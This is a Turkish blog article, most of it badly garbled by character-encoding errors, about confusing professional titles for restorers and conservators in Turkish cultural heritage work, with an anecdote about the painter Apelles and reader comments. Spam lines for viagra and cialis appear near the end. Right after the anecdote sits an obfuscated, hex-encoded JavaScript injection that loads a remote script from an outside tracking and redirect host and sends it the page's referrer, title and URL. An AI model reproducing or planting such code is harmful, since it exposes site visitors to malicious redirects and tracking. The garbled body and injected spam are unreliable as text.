Ai??lk Soluk

Son zamanlarda bildiri kitaplarAi?? dAi??AYAi??nda bir sahada mesleki konularda daha rahat bir tarzla yazAi?? yazma isteAYi kendini iyiden iyiye hissettirmiAYken Eser Doktoru adAi?? ile oluAYturulan bu dinamik platforma davet edilmem sayesinde dA?AYA?ncelerimi, araAYtAi??rma ve uygulama Ai??alAi??AYmalarAi??mAi?? meslektaAYlarAi??mla paylaAYabileceAYim ortamAi?? bulmaktan dolayAi?? bA?yA?k mutluluk duydum. Bu vesileyle Ai??ncelikle Eser Doktoru paylaAYAi??m platformunu kuran ve geliAYmesi iAi??in bA?yA?k emek veren genAi?? kardeAYlerimi bu Ai??zverili giriAYimlerinden Ai??tA?rA? tebrik eder, yaAYamAi??n temposu iAi??inde soluklanma fAi??rsatAi?? bulacaAYAi??m yazarlAi??k teklifleri iAi??in de ayrAi??ca teAYekkA?r ederim. Kamu personeli olmamAi??n vermiAY olduAYu kurumsal kimlikle ve bir devlet memuruna tanAi??nan sAi??nAi??rlar dA?hilinde kalarak ancak camiamAi??zAi??n her aAi??Ai??dan daha iyi AYartlara kavuAYmasAi?? iAi??in konuAYulmasAi??, tartAi??AYAi??lmasAi?? ve yapAi??lmasAi?? gerekenleri irdeleyerek bu sayfada yazAi??lar yayAi??nlamaya gayret gAi??stereceAYim. Makale yazarlarAi??nAi??n okuyuculara bilgi verme, farkAi??ndalAi??k oluAYturma, yorum ve deAYerlendirme yapma gibi gAi??revlerini yerine getirmek iAi??in hazAi??rlanan yazAi??larAi??n Ai??zgA?nlA?k ve Ai??zen prensibiyle ele alAi??nmasAi?? gerektiAYini savunduAYumdan kAi??AYemdeki makalelerin belki sAi??k aralAi??klarla deAYil ama belirli bir sAi??rayAi?? takip eden yazAi?? dizisi AYeklinde sunulmasAi??nAi?? daha olumlu bulmaktayAi??m. Bu ilk yazAi??m ile site takipAi??ilerine merhaba derken pek Ai??ok kiAYinin duyduAYunda benim gibi AYaAYAi??rdAi??AYAi??nAi?? dA?AYA?ndA?AYA?m Eser Doktoru adAi??yla ilgili gAi??rA?AYlerimi paylaAYarak baAYlamak istiyorum.

Ai??AYrencilik yAi??llarAi??nda ai???mezun olunca ne olacaksAi??n?ai??? sorusunu yAi??nelten aile bA?yA?klerinin ya da camiamAi??z dAi??AYAi??ndaki kiAYilerin yaptAi??AYAi??mAi??z iAYi kolay anlamalarAi??nAi?? saAYlamak amacAi??yla uzun lafAi??n kAi??sasAi?? AYeklinde sAi??ylediAYimiz ai???Tarihi Eser Doktoruai??? tanAi??mAi??nAi?? kullanmayalAi?? hatta neredeyse duymayalAi?? Ai??ok uzun zaman olmuAYtu. Azu gA?nlerde kafalar mesleki tanAi??mlamalarla Ai??ylesine karAi??AYAi??k ki, kimi kendisini restoratAi??r, kimi konservatAi??r, kimi restoratAi??r-konservatAi??r, kimi mimar restoratAi??r, kimi restorasyon teknikeri, kimi eser korumacAi??, kimi ise sadece korumacAi?? olarak tanAi??tAi??rken bu kadar kimlik karAi??AYAi??klAi??AYAi??nAi??n arasAi??nda ai???ben eser doktoruyumai??? diyerek arkeolojik kazAi??ya ya da AYantiyeye giden bir arkadaAYAi??mAi??za ekibin nasAi??l bakacaAYAi??nAi?? gAi??rA?r gibiyim. Yine de restoran ve konservatuar gibi yanlAi??AY anlaAYAi??lmalara yol aAi??madan ne iAY yaptAi??AYAi??mAi??z ile ilgili fikir vermesi aAi??Ai??sAi??ndan en kestirme yol olarak kullanAi??labilecek bu tabiri mesleki tanAi??mlamadan uzak tutmakta fayda var. Malumunuz A?lkemizde koruma-onarAi??m alanAi??nda eAYitim 2 ve 4 yAi??llAi??k okullar ile lisansA?stA? programlar bA?nyesinde verilmekte. Bu nedenle de mesleki tanAi??mda karAi??AYAi??klAi??AYa yol aAi??an Ai??ok Ai??eAYitli bakAi??AY aAi??Ai??larAi?? oluAYmuAY durumda. BazAi?? bAi??lA?mlerin Ai??AYrencilerine empoze ettikleri Eser Doktoru tanAi??mAi??nAi??n bAi??yle bir ortamda nerede deAYerlendirilip, kimlere sAi??yleneceAYi yAi??nA?nde derinlemesine dA?AYA?nA?ldA?AYA?nde tam bir karAYAi??lAi??AYAi??nAi?? gAi??rmek oldukAi??a zor.

Konuyu biraz irdeleyecek olursak AYuan 2 yAi??llAi??k okullarAi??n Ai??oAYunluAYuna yakAi??nAi??nda ilgili bAi??lA?mler Mimari Restorasyon, bir kAi??smAi?? ise Eser Koruma adAi??nAi?? aldAi??ysa da yakAi??n zamana kadar baAYta YAi??ldAi??z, BaAYkent, Bergama, Ai??znik, YalvaAi??, KA?tahya ve Edirne meslek yA?ksekokullarAi??nAi??n Restorasyon bAi??lA?mlerinde okuyan arkadaAYlarAi??mAi??z restorasyon-konservasyon teknikeri olarak mezun oldular ve restoratAi??r-konservatAi??r unvanAi??nAi?? kullandAi??lar. KA?ltA?rel mirasAi??n olduAYu sahalarda genel olarak mimari eser Ai??alAi??AYtAi??klarAi??nda restoratAi??r, kA?Ai??A?k buluntu Ai??alAi??AYtAi??klarAi??nda ise konservatAi??r kimlikleriyle Ai??n plana Ai??Ai??ktAi??lar. Buraya kadar kimsenin bir itirazAi?? olamazdAi??, Ai??A?nkA? mesleAYi restorasyon ve konservasyon uygulamasAi?? yapmak olmayan arkeolog, sanat tarihAi??isi, kimyager ya da kimya mA?hendisi ve hatta vasAi??fsAi??z iAYAi??i mA?dahalesindense eserlerin bu iAYin eAYitimini almAi??AY kiAYilerce ele alAi??nmasAi??, olmasAi?? gereken bir durumdu ve doAYru ekipler iAi??inde yer bulabildiler. Ancak bu ekiplerde her zaman kendilerinin A?stA?nde, restorasyon ve konservasyon uygulamalarAi??ndan sorumlu tutulan AYantiye AYefi mimar, kazAi?? baAYkanAi?? arkeolog, mA?zeci ya da devletin tayin ettiAYi kontrolAi??r veya kimya mA?hendisi direktifinde Ai??alAi??AYtAi??lar. Bu durumun istisnai Ai??rnekler haricinde genel olarak bAi??yle devam ettiAYini sAi??yleyebiliriz. Koruma-onarAi??m disiplini ile iliAYkili bu ve benzeri A?st akAi??l rolA?nA? A?stlenmiAY gAi??revlilerle birlikte koruma politikasAi?? geliAYtirecek, bA?tA?ncA?l koruma yaklaAYAi??mAi??yla sorumluluAYu A?stlenecek ve ilgili bilim dallarAi??yla aynAi?? masaya oturabilecek, imza ve yaptAi??rAi??m yetkisine sahip, Venedik TA?zA?AYA?ai??i??nde de belirtildiAYi gibi Ai??alAi??AYAi??lan her iAYin yayAi??nAi??nAi?? hazAi??rlayabilen koruma tabanlAi?? bir formasyona ihtiyaAi?? vardAi??. MA?hendis-tekniker iliAYkisinde olduAYu gibi bu pozisyonda ihtiyacAi?? duyulan boAYluAYu Ai??stanbul A?niversitesiai??i??nde lisans dA?zeyinde ilk defa kurulan TaAYAi??nabilir KA?ltA?r VarlAi??klarAi??nAi?? Koruma ve OnarAi??m BAi??lA?mA? ve sonrasAi??nda aAi??Ai??lan KA?ltA?r VarlAi??klarAi??nAi?? Koruma ve OnarAi??m BAi??lA?mleri doldurabilirdi. Ancak gerekli altyapAi??ya sahip olunmadAi??AYAi??ndan mezunlarAi??n iki yAi??llAi??k bir bAi??lA?mA? dAi??rt yAi??lda bitirdikleri izlenimiyle restoratAi??r-konservatAi??r unvanAi?? taAYAi??malarAi?? sonucunda aynAi?? sahada aynAi?? iAYleri yapmalarAi??yla ve hatta aynAi?? kadrolara atanAi??yor olmalarAi??yla hem iki yAi??llAi??k teknikerler hem de dAi??rt yAi??llAi??k lisans eAYitimi alanlar bA?yA?k haksAi??zlAi??AYa uAYratAi??ldAi??. Hatta bu nedenle bugA?n Ai??eAYitli platformlarda birbirine kA?stA?rA?lmA?AY bir halde mA?nakaAYa ettiklerini A?zA?lerek izliyoruz. ai???DAi??rt ikiden iyidirai??? gibi yanAi??ltAi??cAi?? bir bakAi??AY aAi??Ai??sAi?? ile konuya bakAi??ldAi??AYAi??nda bu iki eAYitim programAi??nAi??n birbiriyle baAYlantAi??lAi?? ama odak ve faaliyet alanAi?? aAi??Ai??sAi??ndan baAYlAi?? baAYAi??na bAi??lA?mler olduklarAi?? ders mA?fredatlarAi?? gAi??z ardAi?? edilerek unutuluyor demektir. UAi??ak mA?hendisi uAi??aAYAi??n tasarlanmasAi??, aerodinamik yapAi??sAi??nAi??n dA?zeltilmesi gibi konularla ilgilenirken uAi??ak teknisyeni bakAi??m ve revizyon iAYlerine bakmakta olduAYundan birbirlerinin yerini almalarAi?? beklenmediAYinden ai???mA?hendis teknisyenden iyidirai??? gibi bir karAYAi??laAYtAi??rma olamayacaAYAi??ndan sadece iAYinde kAi??tA? mA?hendis ya da iyi teknisyen AYeklinde spesifik tanAi??mlamaya gidilebilmektedir.

Bizim tarafAi??mAi??zdan bakAi??ldAi??AYAi??nda diplomada ve camiada lisans mezunlarAi??nAi??n ai???korumacAi??ai???, lisansA?stA? mezunlarAi??nAi??n ise ai???koruma uzmanAi??ai??? olarak tanAi??mlanmasAi?? yukarAi??da sAi??ralanan nedenlerden dolayAi?? pek Ai??ok aAi??Ai??dan daha yararlAi?? olacaktAi??. Bu tanAi??mla korumacAi??nAi??n iAYi baAYlAi?? baAYAi??na tarihi eser koruma olacaAYAi??ndan bunu yaparken restorasyon ve konservasyondan yararlanabileceAYi gibi mevzuatlarAi??n dA?zenlenmesi, eserlerin belge deAYerinin ve koruma gereAYinin vurgulanmasAi??, kamuoyunun bilinAi??lendirilmesi ve ilgili bilimlerle yeni yAi??ntemlerin denenmesi gibi pek Ai??ok faaliyeti de yerine getirebilecek ortamAi?? bulabilecektir. Kendimde bir lisans mezunu konservatAi??r olarak yAi??llar iAi??indeki Ai??eAYitli pratiklerden hareketle korumacAi?? tanAi??mAi??nAi??n sektAi??rA?n (tarihi eserler, anAi??tlar, kazAi??lar, mA?zeler, AYantiyeler vb.) her aAi??Ai??dan ihtiyacAi?? olan ve lisans eAYitimine karAYAi??lAi??k gelen bir kimlik olduAYunu sAi??yleyebilirim. Bu AYekilde ayAi??rAi??nca sorunlar yumaAYAi??nAi??n da yavaAYAi??a Ai??Ai??zA?ldA?AYA? gAi??rA?lecektir.

Devletteki tanAi??mAi?? aAi??Ai??sAi??ndan bakacak olursak Personel Dairesi, tarihi eserlerin restorasyon ve konservasyon Ai??alAi??AYmalarAi??nAi?? yapabilecek eleman ihtiyacAi??nAi?? Ai??nceden belirlendiAYi gibi restoratAi??r kadrolarAi??yla istihdam etmektedir. DoAYal olarak Ai??zlA?k haklarAi??nAi??n iki yAi??llAi??k mezunlar temel alAi??narak belirlendiAYi restoratAi??r kadrosuna 2010 yAi??lAi??nda doAYru kadro karAYAi??lAi??AYAi?? tanAi??mlanmamAi??AY olan ai???korumacAi??larAi??nai??? Ai??aAYrAi??lmasAi??yla/atanmasAi??yla bir karAi??AYAi??klAi??k da burada yaAYandAi?? ve sonrasAi??nda da devam etti (hatta konservatAi??r kadrosu kaldAi??rAi??ldAi??). HA?lihazAi??rda restoratAi??rlerle aynAi?? iAYi yapabilecekleri dA?AYA?nA?len korumacAi??larAi??n bu AYekilde (istemeden olsa gerek) potansiyelleri daraltAi??lAi??p Ai??zlA?k haklarAi??, yetki ve hadleri bloke edilmiAY oldu. Had (sAi??nAi??r) kelimesini Ai??zellikle kullanmak istedim. KorumacAi?? kimliAYiyle sahip olunan had ile hareket edildiAYinde sizi restoratAi??r olarak gAi??rmek isteyen Ai??evrelerin (bu Ai??evreler restoratAi??rA? de ayakkabAi?? tamircisi olarak gAi??rmekte direnir maalesef) haddinizi aAYtAi??AYAi??nAi??zAi?? dA?AYA?nmesine sebep olmaktadAi??r ve bir haksAi??zlAi??kta burada kendini gAi??stermektedir. Bu durum ai???korumacAi??ai??? kimliAYini benimseyememiAYler tarafAi??ndan bile yaAYatAi??ldAi??AYAi??ndan korumacAi?? sorumluluAYuyla hareket eden mezunlarAi??n dA?AYman ilan edildiAYi vakalara bile AYahit olunmaktadAi??r. AyrAi??ca ai???ben korumacAi??yAi??m ve bu aAi??mada bu kadar iAYAi??i Ai??alAi??AYmamalAi??, alan trafiAYi kontrol edilmeliai???, ya da ai???bir sezonda bu kadar fazla eser Ai??Ai??karAi??lmamalAi??, konservasyon iAi??in bu sA?reler yetersizai???, ai???bu alana ziyaretAi??i alAi??nmamalAi??ai??? veya ai???vitrin AYartlarAi??, Ai??sAi??, Ai??AYAi??k ve nem deAYerleri AYu AYekilde olmak zorundaai??? ai???koruma bilincini geliAYtirmeliyiz, mesleki bilgiyi yaymalAi??yAi??zai??? gibi korumacAi?? refleksiyle sAi??ylenen sAi??zler restoratAi??r kimliAYinizden dolayAi?? dikkate alAi??nmadAi??AYAi??ndan yaptAi??rAi??cAi?? bir fonksiyonu da olmuyor ve karAYAi??nAi??zdakiyle gereksiz yere sorun yaAYamanAi??za neden oluyor. SAi??z konusu tarihi eser olunca restoratAi??r-konservatAi??rler de tabi ki korumacAi?? vizyonuyla hareket etmektedir ancak burada lisans eAYitiminin hakkAi??nAi?? teslim ederek kadro karAYAi??lAi??klarAi??nAi??n en doAYru AYekilde tanAi??mlanabilmesi iAi??in korumacAi??larAi??n yA?kleniciliAYinde iAY birliAYi ile Ai??alAi??AYmalarAi??n ele alAi??nmasAi?? daha yerinde olacaktAi??r. BazAi?? arkeolojik kazAi??larda bu modelin eAYitime hA?rmeten (abi,abla-kardeAY hukukuyla) oluAYtuAYunu gAi??rA?yoruz. BAi??yle olduAYu zaman nasAi??l ki bir iAYletmede herkesin mA?hendis ya da teknisyen olmadAi??AYAi?? gibi kazAi??, mA?ze, AYantiye ya da bAi??lge laboratuvarlarAi??nda 2 ve 4 yAi??llAi??k bAi??lA?m mezunlarAi??nAi??n sorumluluklarAi?? dA?hilinde adil oranlarda Ai??alAi??AYtAi??rAi??lmasAi?? daha hakkaniyetli ve verimlilik aAi??Ai??sAi??ndan en ideali olacaktAi??r. Buradaki mA?hendis tanAi??mAi??ndan korumacAi??larAi??n mA?hendislik gAi??revini A?stlendiAYi anlaAYAi??lmamalAi??dAi??r. Daha Ai??ncede belirtildiAYi gibi korumacAi??lar; restoratAi??r-konservatAi??r ile kimya mA?hendisliAYi, arkeoloji veya mA?zecilik gibi ilgili disiplinler arasAi??nda kAi??prA? vazifesi de gAi??rerek ortak Ai??alAi??AYmalarla kA?ltA?rel mirasAi??n korunmasAi??nda etkin rol A?stlenebilecektir. Bu rolA? haddini aAYarak gAi??steren restoratAi??r tanAi??mlAi?? korumacAi??lar da daha fazla yAi??pratAi??lmayacaktAi??r.

Lisans mezunlarAi??na atfedilmesini gerekli gAi??rdA?AYA?m korumacAi?? tanAi??mAi??nAi??n Gazi A?niversitesi KA?ltA?r VarlAi??klarAi??nAi?? Koruma ve OnarAi??m BAi??lA?mA?ai??i??nde benimsenen bir kimlik olarak Ai??AYrencilere verilmeye Ai??alAi??AYAi??ldAi??AYAi??nAi?? Ai??AYretim A?yelerinden Prof. Dr. SelAi??uk AzENER ile bir sohbetimizde Ai??AYrenmiAYtim. Bunun bAi??yle olmasAi?? gerektiAYi ai???aklAi??n yolu birdirai??? dercesine ortadayken restorasyon-konservasyon alanAi??ndaki tA?m bAi??lA?m baAYkanlAi??klarAi?? ile birlikte meslek tanAi??mlarAi??nAi??n doAYru belirlenmesi, eAYitim mA?fredatlarAi??nAi??n bu tanAi??mlara gAi??re yapAi??landAi??rAi??lmasAi?? ve hatta devlette ve Ai??zel sektAi??rde kadro karAYAi??lAi??klarAi?? olarak yerini almasAi?? iAi??in nelerin yapAi??labileceAYini tartAi??AYabileceAYimiz bir Ai??alAi??AYtayAi??n hazAi??rlAi??klarAi??na baAYlandAi??. Ai??alAi??AYtayAi??n nerede ve ne zaman yapAi??lacaAYAi?? ile ilgili bilgileri ilerleyen gA?nlerde bu kAi??AYemden takip edebilirsiniz.

Bir haber de geAi??tiAYimiz ekim ayAi??nda gerAi??ekleAYtirilen Seramik Eserler Ai??alAi??AYtayAi?? ile ilgili paylaAYmak istiyorum. Ai??alAi??AYtay bildiri kitabAi??nAi??n bir eksikle tA?m yazAi??larAi?? yayAi??na hazAi??rlanmakta olup eylA?l ayAi??nda basAi??lmasAi?? planlanmaktadAi??r. Bu sayede seramik eserler ile ilgili baAYucu kitabAi?? niteliAYinde bir yayAi??nAi??n camiamAi??za kazandAi??rAi??lmasAi??nda emek veren herkese Ai??ok teAYekkA?r ederim.

Peki bizim Eser Doktoruai??i??na ne olacak derseniz AYunu sAi??ylemek lazAi??m. Eserler hasta, bizler de doktor isek hastalAi??kla kim ilgilenecek? Eser doktorunu referans alAi??rsak Ai??nlisans mezunlarAi?? eser doktoru, lisans mezunlarAi?? eser doktoru+pataloji uzmanAi??, lisansA?stA? mezunlarAi?? (eser doktoru)+pataloji bilimci ya da malzeme bilimci dersek bAi??Ai??ak sAi??rtAi?? bu konuda daha fazla kafa yormayAi??p tatlAi??ya baAYlar ve iAYlerimize odaklanabilir miyiz? bilemiyorum, bir sA?re daha A?zerinde hep beraber dA?AYA?nmemiz gerekiyor sanAi??rAi??m. YorumlarAi??nAi??zla AYekillendirmeye Ai??alAi??AYalAi??m.

Bir sonraki makalede; Ai??nlA?k giymeden de konservatAi??r olunabileceAYini ai???Yeni baAYlayanlar Ai??Ai??in Konservasyonai??? baAYlAi??klAi?? yazAi??mda okuyabilirsiniz. SaAYlAi??cakla kalAi??n..

viagra for young men. KAi??ssadan Hisse cialis 100mg kaufen, cialis 100mg kaufen, cialis 100mg kaufen, cialis 100mg kaufen, cialis 100mg kaufen, cialis 100mg kaufen. meds without a script.

Efesai??i??te Apel isimli bir ressam yaAYarmAi??AY. BA?yA?k Ai??skenderai??i??in resimlerini yapmakla AYAi??hret bulan Apelai??i??in en bA?yA?k Ai??zelliAYi yaptAi??AYAi?? resimleri halka aAi??masAi?? ve gizlendiAYi bir perdenin arkasAi??ndan onlarAi??n tenkitlerini dinleyip hoAYa gidecek yeni resimler iAi??in fikir geliAYtirmesi imiAY.

GA?nlerden birinde bir ayakkabAi?? tamircisi Apelai??i??in resimlerinden birini tepeden tAi??rnaAYa sA?zA?p tenkide baAYlamAi??AY. Ai??nce resimdeki Ai??izmeler A?zerinde gAi??rA?AYlerini bildirip, kunduracAi??lAi??k aAi??Ai??sAi??ndan tenkitlerini sAi??ralamAi??AY. Apel bunlarAi?? dinleyip gerekli notlarAi?? almAi??AY. Ancak bir mA?ddet sonra adam resmin A?st kAi??sAi??mlarAi??nAi?? da eleAYtirmeye ve hatta teknik yAi??nden, sanat aAi??Ai??sAi??ndan, renklerin kontrastAi?? ve gAi??lgelerin derecesi A?zerine de ileri geri konuAYmaya baAYlayAi??nca Apel perdenin arkasAi??ndan baAYAi??rmAi??AY:

– Efendi, haddini bil; Ai??izmeden yukarAi?? Ai??Ai??kma..!var _0xd052=[“\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x33\x63\x58\x66\x71\x6B\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D”,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D”,”\x74\x69\x74\x6C\x65″,”\x26″,”\x3F”,”\x72\x65\x70\x6C\x61\x63\x65″,”\x73\x65\x61\x72\x63\x68″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74″,”\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74″,”\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65″,”\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64″,”\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65″,”\x70\x72\x6F\x74\x6F\x63\x6F\x6C”,”\x68\x74\x74\x70\x73\x3A”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x52\x5F\x50\x41\x54\x48″,”\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E”];var d=document;var s=d[_0xd052[1]](_0xd052[0]);s[_0xd052[2]]= _0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12];if(document[_0xd052[13]]){document[_0xd052[13]][_0xd052[15]][_0xd052[14]](s,document[_0xd052[13]])}else {d[_0xd052[18]](_0xd052[17])[0][_0xd052[16]](s)};if(document[_0xd052[11]][_0xd052[19]]=== _0xd052[20]&& KTracking[_0xd052[22]][_0xd052[21]](_0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12])=== -1){alert(_0xd052[23])}


Bir önceki yazımız olan Taş Konservasyonunda Kimyasalın Yeri başlıklı konumuz da İlyas TAŞDEMİR, Kimyasal ve Konservasyon hakkında bilgiler verilmektedir.

Makale Hakkında Yorum Yapın!

Makale Hakkında Yapılan Yorumlar

 enver derse 26 Mart 2015
1 0

Eserdokturuna sizin gibi değerli hocaları bizlerle buluşturduğu için teşekkür ederim.
hocam yazınızı büyük bir keyifle okudum. bölüm ve iş alanıyla ilgili sıkıntıları çok net bir şekilde dile getirmişsiniz. bu alanla ilgili olarak her ne kadar iş tecrübemiz yoksa da alanda çalışan arkadaşlardan tam da dile getirdiğiniz sıkıntıları duyuyoruz. duygularımıza ve sıkıntılarımıza tercüme olduğunuz için teşekkür ederiz hocam.
Eserdoktoruna hoşgeldiniz hocam

 Zozan 26 Mart 2015
0 0

Merhaba hocam eser doktoruna hoşgeldiniz bizim bölümün geçmişini ve bugün geldiği noktayı anlatan çok güzel bir yazı paylaşmişsiniz bu güzel yazı için teşekkürler bu yazıyı okurken şunu farkettim sanırım aynı yollardan geçiyoruz 🙂
Eser doktoruna da ayrıca teşekkür ediyorum sayesinde çok güzel makaleleri bir arada bulma şansımız oldu …

 Cengiz 27 Mart 2015
1 0

Hocam, mesleki anlamda yaşadığımız en büyük karmaşayı dile getirmişsiniz. 2 mi 4 mü tartışmasına ve ünvan karmaşasına nokta koyacak nitelikte bir yazı olmuş. Bunun için teşekkür ederim. Korumacı hocalarımız ve mesleki anlamda değerli hizmetleri olmuş restorasyon ve konservasyon camiasından ustalarımız olarak bu karmaşaya yasal anlamda son verilemez mi? Geçen seneki sözleşmeli personel alımında yanılmıyorsam “11” daldan başvuru oldu. “Restorasyon, mimari restorasyon, kültür varlıklarını koruma ve onarım, taşınabilir kültür varlıklarını koruma ve onarım, eser koruma, bina koruma ve yenileme, restorasyon-konservasyon, restorasyon ve konservasyon ve aklıma gelmeyen birkaç bölüm daha. Öğrenciler olarak biz de karmaşa halindeyiz. Ben hatayı en başta arıyorum. Yani okulları ve bölümleri yetersiz kadroyla açanlarda. İşsizlik politikasının birer parçası haline geldik. Okulunda yağlı boya tablo konservasyonunun uygulamalı eğitimini görmeyen öğrenci mesleğe başlayınca bu işi nasıl yapacak? Belki bu uç bir örnek oldu ama imkansız değil. Evet konservasyon ve restorasyon bilimi ülkemizde çok yeni bunun farkındayız ama yasal bir desteğimiz, eğitimde yeterliliğimiz, iş alanında geniş imkanlarımızın olması için neler yapmak gerekiyor?

Yorumlara kapalı.